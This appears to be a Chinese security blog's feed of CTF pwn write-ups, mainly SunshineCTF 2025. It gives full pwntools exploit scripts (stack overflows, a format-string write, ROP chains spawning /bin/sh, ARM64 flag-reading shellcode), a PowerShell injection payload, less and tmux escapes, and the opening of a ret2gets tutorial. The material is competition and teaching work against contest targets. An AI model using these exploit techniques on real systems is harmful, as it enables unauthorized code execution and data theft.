&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32igs2x3uo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;但很显然这是一个可逆计算，YAAAY～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    ROP,
    FileStructure,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./main_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc
rop = ROP(libc)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;stdout : &quot;)
    stdout = int(target.recvline(), 16)
    libc.address = stdout - libc.sym[&quot;_IO_2_1_stdout_&quot;]
    add_rdi_0x10_jmp_rcx = libc.address + 0x000000000017D690
    system = libc.sym[&quot;system&quot;]

    fp = FileStructure(null=stdout + 0x1260)
    fp.flags = 0x8
    fp.unknown2 = flat(
        {
            0x18: 0x1,  # fp-&amp;gt;_mode
        },
        filler=b&quot;\x00&quot;,
    )
    fp._IO_write_ptr = 1
    fp._IO_write_base = 0
    fp._wide_data = stdout - 0x8
    fp._codecvt = stdout + 0x28  # codecvt
    fp._IO_save_end = stdout + 0x8
    fp._IO_read_base = system // 0x4 &amp;lt;&amp;lt; 0x2  # rdx
    fp.markers = stdout + 0x20  # gs-&amp;gt;__shlib_handle
    fp._IO_save_base = add_rdi_0x10_jmp_rcx  # gs-&amp;gt;__fct
    fp._IO_write_end = b&quot;/bin/sh\x00&quot;

    raw_input(&quot;DEBUG&quot;)
    target.send(bytes(fp))

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;复现。&lt;/p&gt;
</content:encoded></item><item><title>分岔的森林：angr 符号执行札记</title><link>https://cubeyond.net/posts/pwn-notes/angr/</link><guid isPermaLink="true">https://cubeyond.net/posts/pwn-notes/angr/</guid><description>In the Forest of Branches: angr&apos;s Predictions</description><pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;前几天打了 SunshineCTF 2025，其中有道 MOVfuscated 的 Pwn 题感觉挺有意思，虽然最后也没做出来，但是知道了一个大致的学习方向，或许可以用符号执行来解决这道题。&lt;/p&gt;
&lt;p&gt;Anyway，先开个题，至于什么时候写，hmm，我还有好多 heap 没学泪，所以这是一篇札记（&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Sunshine CTF 2025</title><link>https://cubeyond.net/posts/write-ups/sunshinectf-2025/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/sunshinectf-2025/</guid><description>Write-ups for Sunshine CTF 2025 pwn aspect.</description><pubDate>Mon, 29 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;i95&lt;/h1&gt;
&lt;p&gt;这个方向都是栈 Pwn，很简单，直接 AK 了。&lt;/p&gt;
&lt;h2&gt;Miami&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his login terminal and get the proof we need!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;覆盖变量值即可。&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./miami&quot;
HOST, PORT = &quot;chal.sunshinectf.games&quot;, 25601

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x4C,
        0x1337C0DE,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;Enter Dexter&apos;s password: &quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}&lt;/code&gt;]&lt;/p&gt;
&lt;h2&gt;Jupiter&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Jupiter just announced their new Brightline junction... the ECHO TERMINAL!!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;dprintf(2, (const char *)buf)&lt;/code&gt;，明显格式化字符串，改 &lt;code&gt;secret_key == 322420958&lt;/code&gt; 即可，后两字节没问题，直接改高字节。&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)

FILE = &quot;./jupiter&quot;
HOST, PORT = &quot;chal.sunshinectf.games&quot;, 25607

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    secret = 0x404010
    payload = flat(
        b&quot;aaaaa%4914c%7$hn&quot;,
        p64(secret + 0x2),
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;Enter data at your own risk: &quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{F0rmat_str!ngs_4re_sup3r_pOwerFul_r1gh7??}&lt;/code&gt;]&lt;/p&gt;
&lt;h2&gt;Canaveral&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;NASA Mission Control needs your help... only YOU can enter the proper launch sequence!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;这题有点爆炸，一开始自己在 bss 上写 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串，远程老打不通，调试发现它会把我写的字符串清空……后来用程序自带的 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串地址就打通了，目前还没搞明白为什么自己写的不行，日后有空再研究。&lt;/p&gt;
&lt;h3&gt;Exploit - I&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./canaveral&quot;
HOST, PORT = &quot;chal.sunshinectf.games&quot;, 25603

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x401289
    system = 0x401218
    payload = flat(
        b&quot;A&quot; * 0x40,
        elf.bss() + 0xF00,
        read,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(&quot;Enter the launch sequence: &quot;, payload)

    payload = flat(
        b&quot;A&quot; * 0x38,
        next(elf.search(b&quot;/bin/sh&quot;)),
        0x404F28,
        system,
    )
    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exploit - II&lt;/h3&gt;
&lt;p&gt;下面是自己构造 &lt;code&gt;/bin/sh&lt;/code&gt; 的成功版，我发现只要把自己构造的 &lt;code&gt;/bin/sh&lt;/code&gt; 和调用 system 的 ROP Chain 写在相同的区域，libc 内部就会破坏 &lt;code&gt;/bin/sh&lt;/code&gt;，那干脆试试写到别的地方去，比如这里写入到栈中（注意栈上也会因为重叠问题，导致部分输入被破坏，不过还是有没被破坏的地方可以用的）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./canaveral&quot;
HOST, PORT = &quot;chal.sunshinectf.games&quot;, 25603

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x401289
    system = 0x401218
    payload = flat(
        b&quot;A&quot; * 0x18,
        b&quot;/bin/sh\x00&quot;,
        b&quot;A&quot; * 0x20,
        elf.bss() + 0xF00,
        read,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(&quot;Enter the launch sequence: &quot;, payload)
    target.recvuntil(b&quot;prize: &quot;)
    stack = int(target.recvline().strip(), 16)
    binsh = stack + 0x18
    target.success(hex(stack))

    payload = flat(
        b&quot;A&quot; * 0x38,
        binsh,
        0x404F28,
        system,
    )
    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}&lt;/code&gt;]&lt;/p&gt;
&lt;h2&gt;Jacksonville&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The Jacksonville Jaguars are having a rough season, let&apos;s cheer them on!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;First Blood! 没难度，就是平台在开玩笑，拿到 flag 了提交上去告诉我不对……然后我疯狂按提交按钮结果就成功了……&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./jacksonville&quot;
HOST, PORT = &quot;chal.sunshinectf.games&quot;, 25602

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    answer = b&quot;aaaaaaJaguars\x00&quot;
    length = len(answer)

    payload = flat(
        answer,
        b&quot;A&quot; * (0x68 - length),
        rop.ret.address,
        elf.sym[&quot;win&quot;],
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}&lt;/code&gt;]&lt;/p&gt;
&lt;h2&gt;Daytona&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Cops don&apos;t like it when you drive like you&apos;re in the Daytona 500 :/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;&amp;lt;s&amp;gt;&lt;em&gt;这可是我的第一次。&lt;/em&gt;&amp;lt;/s&amp;gt;&lt;/p&gt;
&lt;p&gt;bro 第一次做（成） arm 架构 pwn，虽然最后还是自己提供思路，让 AI 写的 shellcode……嗯，这次不算数～&lt;/p&gt;
&lt;p&gt;一开始直接 shellcraft 打 execve，结果本地通了远程不行，后来试了下换成 ORW，还是本地可以，远程不行……最后才知道，ARM 架构的 CPU 通常有分离的数据缓存 (&lt;code&gt;D-Cache&lt;/code&gt;) 和指令缓存 (&lt;code&gt;I-Cache&lt;/code&gt;)，我们写入 shellcode 的而时候数据先进入 &lt;code&gt;D-Cache&lt;/code&gt;，跳转到这段代码时，CPU 还是会继续从 &lt;code&gt;I-Cache&lt;/code&gt; 中读取指令。如果 CPU 流水线和 &lt;code&gt;I-Cache&lt;/code&gt; 中仍然存有这段内存地址上的旧代码，它就会执行错误的代码，所以我远程打不通。本地能通是因为 QEMU 通常会自动处理缓存同步问题。&lt;/p&gt;
&lt;p&gt;解决方法是使用一个叫做 &lt;code&gt;Cache Invalidation Gadget&lt;/code&gt; 的东西，手动刷新流水线：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dc&lt;/code&gt;：清理 &lt;code&gt;D-Cache&lt;/code&gt;，将新写入的 shellcode 推送到主存&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ic + isb&lt;/code&gt;：清理 &lt;code&gt;I-Cache&lt;/code&gt; 和 CPU 流水线，强制 CPU 从内存中加载新写入的 shellcode，从而保证 shellcode 能够正确执行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;得抽空去学一下其它架构的指令集了，不然真不行，这是我最近碰到的第二个 arm pwn 了。&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
)


FILE = &quot;./daytona&quot;
HOST, PORT = &quot;chal.sunshinectf.games&quot;, 25606

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        # target = process([&quot;qemu-aarch64&quot;, &quot;-g&quot;, &quot;1234&quot;, FILE])
        target = process([&quot;qemu-aarch64&quot;, FILE])
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;The cops said I was going &quot;)
    stack = int(target.recvuntil(b&quot; &quot;).strip(), 10) + 117
    target.success(f&quot;stack: {hex(stack)}&quot;)

    # shellcode = asm(shellcraft.execve(&quot;/bin/sh&quot;, 0, 0))
    # shellcode = shellcraft.open(&quot;flag.txt&quot;, 0, 0)
    # shellcode += shellcraft.sendfile(1, &quot;x0&quot;, 0, 0x1000)

    shellcode = asm(&quot;&quot;&quot;
        // cache invalidation gadget
        adr x9, orw
        dc cvau, x9
        add x10, x9, #0x40
        dc cvau, x10
        dsb ish
        ic ivau, x9
        ic ivau, x10
        dsb ish
        isb

    orw:
        // openat(dfd=AT_FDCWD, filename=&quot;flag.txt&quot;, flags=0, mode=0)
        // AT_FDCWD = 0xFFFFFFFFFFFFFF9C (-100)
        mov x0, #-100
        adr x1, filename
        mov x2, #0
        mov x3, #0
        mov x8, #56
        svc #0

        // sendfile(out_fd=1, in_fd=X0, offset=0, count=0x1000)
        mov x1, x0
        mov x0, #1
        mov x2, #0
        mov x3, #0x100
        mov x8, #71
        svc #0

    filename:
        .ascii &quot;flag.txt\\x00&quot;
    &quot;&quot;&quot;)

    length = len(shellcode)
    target.warn(f&quot;shellcode length: {hex(length)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x48,
        stack + 0x48 + 0x8,
        shellcode,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;What do I tell them??&quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Pwn&lt;/h1&gt;
&lt;p&gt;这个方向真的是 Pwn 吗，怎么题目都那么奇怪？？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HAL9000&lt;/code&gt; 是一道贼恶心的 mov obfuscated 的题，&lt;code&gt;demovfuscator&lt;/code&gt; 了以后和原先也区别不大，还是一堆 &lt;code&gt;mov&lt;/code&gt; 指令，坐牢啊……&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Space Is Less Than Ideal&lt;/code&gt; 和 &lt;code&gt;Space Is My Banner&lt;/code&gt; 感觉这两道更像 Misc，与 Pwn 一点关系都没有……&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AstroJIT AI&lt;/code&gt; 是代码审计吧，也和 Pwn 没关系啊……&lt;/p&gt;
&lt;p&gt;唯一一个 heap 我还因为没怎么学过堆，做不来……&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Clone Army&lt;/code&gt; 没细看，后面有空复现吧。&lt;/p&gt;
&lt;h2&gt;AstroJIT AI&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;AstroJIT AI, your new general-purpose chatbot for the future!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;测试格式化字符串，报错：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ovt15ht5d.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;问 AI，可以注入代码，直接用 &lt;code&gt;{ int.Parse(System.IO.File.ReadAllText(&quot;flag.txt&quot;)), 0, 0 }&lt;/code&gt;，由于 flag 内容不是整数，报错信息直接把 flag 输出了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Weights: { int.Parse(System.IO.File.ReadAllText(&quot;flag.txt&quot;)), 0, 0 }
{ int.Parse(System.IO.File.ReadAllText(&quot;flag.txt&quot;)), 0, 0 }
MethodInvocationException: /app/evil_corp_ai.ps1:424
Line |
 424 |              $weights = [Two.Second.Scholars.Mass.And.Partialities.Wei …
     |              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | Exception calling &quot;CalculatePrecompiledWeights&quot; with &quot;0&quot; argument(s):
     | &quot;The input string
     | &apos;sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-burnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money} &apos; was not in a correct format.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-burnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money}&lt;/code&gt;]&lt;/p&gt;
&lt;h2&gt;Space Is Less Than Ideal&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;I think i did a thing.
I may have accessed a satellite.
I can access the logs anyhow. I can&apos;t seem to access anything else.
I know I&apos;ve seen that type of log viewer before, but something seems... different... about it.
Well you know the expression. Less is more!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;less&lt;/code&gt; 逃逸，调教 AI 就好了。先输入 &lt;code&gt;ma&lt;/code&gt; 设置 mark，然后输入 &lt;code&gt;|a&lt;/code&gt; 就可以执行指令。&lt;code&gt;ls&lt;/code&gt; 发现有 &lt;code&gt;cat-flag&lt;/code&gt;，重复上面的步骤调用这个程序就好了。&lt;/p&gt;
&lt;p&gt;另外，刚开始测试 &lt;code&gt;!command&lt;/code&gt; 发现没有用，但是可以看到后台指令执行结果，所以要看结果的时候可以通过这个方式查看。&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{less-is-more-no-really-it-is-just-a-symbolic-link}&lt;/code&gt;]&lt;/p&gt;
&lt;h2&gt;Space Is My Banner&lt;/h2&gt;
&lt;h3&gt;Information&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;I did it again.
This time I&apos;m sure I accessed a satellite.
I&apos;m scared, it&apos;s giving me a warning message when I log in.
I think this time I may have gone too far... this seems to be some top security stuff...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Write-up&lt;/h3&gt;
&lt;p&gt;这次是 tmux 逃逸，在 Security Prompt 中按 &lt;code&gt;Ctrl-B&lt;/code&gt; 然后输入 &lt;code&gt;:&lt;/code&gt; 就可以输入一些内置 tmux 指令了，直接用核武 &lt;code&gt;:run-shell &quot;ls -al&quot;&lt;/code&gt; 然后 &lt;code&gt;:run-shell &quot;./cat-flag&quot;&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;:spoiler[&lt;code&gt;sun{wait-wait-wait-you-cannot-hack-me-you-agreed-to-not-do-that-that-is-not}&lt;/code&gt;]&lt;/p&gt;
</content:encoded></item><item><title>无 gadgets 也能翻盘：ret2gets 能否成为核武器？</title><link>https://cubeyond.net/posts/pwn-notes/ret2gets/</link><guid isPermaLink="true">https://cubeyond.net/posts/pwn-notes/ret2gets/</guid><description>Who needs &quot;pop rdi&quot; when you have gets() ?</description><pubDate>Fri, 26 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;ret2gets&lt;/code&gt; 是用于在 &lt;code&gt;glibc &amp;gt;= 2.34&lt;/code&gt; 没有常用 gadgets，控制不了任何参数的情况下，通过调用 &lt;code&gt;gets&lt;/code&gt;，配合 &lt;code&gt;printf / puts&lt;/code&gt; 等输出函数实现 ld 地址泄漏进而为深入构造 ROP Chain 做准备的 trick 。&lt;/p&gt;
&lt;p&gt;:::tip
此 trick 适用于 &lt;code&gt;GLIBC &amp;gt;= 2.34，&amp;lt;= 2.41&lt;/code&gt; 的 ROP Chain 构造。
:::&lt;/p&gt;
&lt;p&gt;直接上 demo，这里使用的 GLIBC 版本是 &lt;code&gt;2.41-6ubuntu1_amd64&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include &amp;lt;stdio.h&amp;gt;

int main() {
  char buf[0x20];
  puts(&quot;ROP me if you can!&quot;);
  gets(buf);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;code&gt;gets&lt;/code&gt; 函数在 C11 中被移除，所以我们编译的时候需要手动指定一个低于 C11 的标准，比如这里指定了 C99。
:::&lt;/p&gt;
&lt;p&gt;如果我们使用 ropper 或者其它同类工具，列出这个程序中包含的 gadgets，我们会发现它并没有常用于控制参数的 gadgets，我们什么参数也控制不了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Gadgets
=======


0x000000000040106c: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106b: adc dword ptr ss:[rax], eax; call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401070: adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040109c: adc ecx, dword ptr [rax - 0x75]; add eax, 0x2f2c; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040110c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401074: add ah, dh; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106e: add bh, bh; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040100e: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x000000000040107c: add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret;
0x000000000040115a: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x000000000040115b: add byte ptr [rax], al; add cl, cl; ret;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e4: add byte ptr [rax], al; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x000000000040107e: add byte ptr [rax], al; endbr64; ret;
0x0000000000401073: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040115c: add byte ptr [rax], al; leave; ret;
0x00000000004010f6: add byte ptr [rax], al; ret;
0x00000000004010f5: add byte ptr [rax], r8b; ret;
0x000000000040109a: add byte ptr [rbx + rdx + 0x48], dh; mov eax, dword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x0000000000401099: add byte ptr [rbx + rdx + 0x48], sil; mov eax, dword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040111b: add byte ptr [rcx], al; pop rbp; ret;
0x00000000004010e3: add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x000000000040115d: add cl, cl; ret;
0x000000000040106d: add dil, dil; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010e1: add eax, 0x2efa; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x000000000040109f: add eax, 0x2f2c; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x0000000000401017: add esp, 8; ret;
0x0000000000401016: add rsp, 8; ret;
0x0000000000401154: call 0x3040; mov eax, 0; leave; ret;
0x0000000000401111: call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x000000000040106f: call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401014: call rax;
0x0000000000401014: call rax; add rsp, 8; ret;
0x0000000000401006: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; test rax, rax; je 0x3016; call rax;
0x0000000000401012: je 0x3016; call rax;
